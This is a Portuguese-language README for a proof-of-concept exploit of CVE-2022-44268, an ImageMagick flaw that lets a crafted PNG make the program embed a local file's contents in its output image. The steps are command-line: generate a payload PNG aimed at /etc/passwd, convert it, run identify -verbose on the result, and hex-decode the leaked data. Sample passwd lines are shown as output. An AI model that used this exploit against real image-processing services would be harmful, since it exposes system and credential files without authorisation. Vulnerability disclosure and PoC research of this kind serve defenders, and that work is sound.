imagemagick-lfi-poc

ImageMagick LFI PoC [CVE-2022-44268]

Os pesquisadores da MetabaseQ descobriram o CVE-2022-44268, ou seja, o ImageMagick 7.1.0-49 é vulnerável a divulgação de informações. Quando ele analisa uma imagem PNG (por exemplo, para redimensionamento), a imagem resultante pode ter incorporado o conteúdo de um arquivo remoto arbitrário (se o binário do ImageMagick tiver permissão para lê-lo).

Uso

• Certifique-se de ter o ImageMagick e os pacotes Python necessários instalados.

(~)>>> python3 generate.py -f "/etc/passwd" -o exploit.png

   [>] ImageMagick LFI PoC - by Sybil Scan Research <[email protected]>
   [>] Generating Blank PNG
   [>] Blank PNG generated
   [>] Placing Payload to read /etc/passwd
   [>] PoC PNG generated > exploit.png

• Converta o arquivo PNG gerado:

(~)>>> convert exploit.png result.png

• Leia o conteúdo do arquivo PNG convertido:

(~)>>> identify -verbose result.png

• Decodifique os dados retornados no campo Raw profile type, você observará o conteúdo de /etc/passwd:

(~)>>> python3 -c 'print(bytes.fromhex("726f6f743a783a726f6f743---REDACTED--").decode("utf-8"))'


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

Referências

• https://www.metabaseq.com/imagemagick-zero-days/
• https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC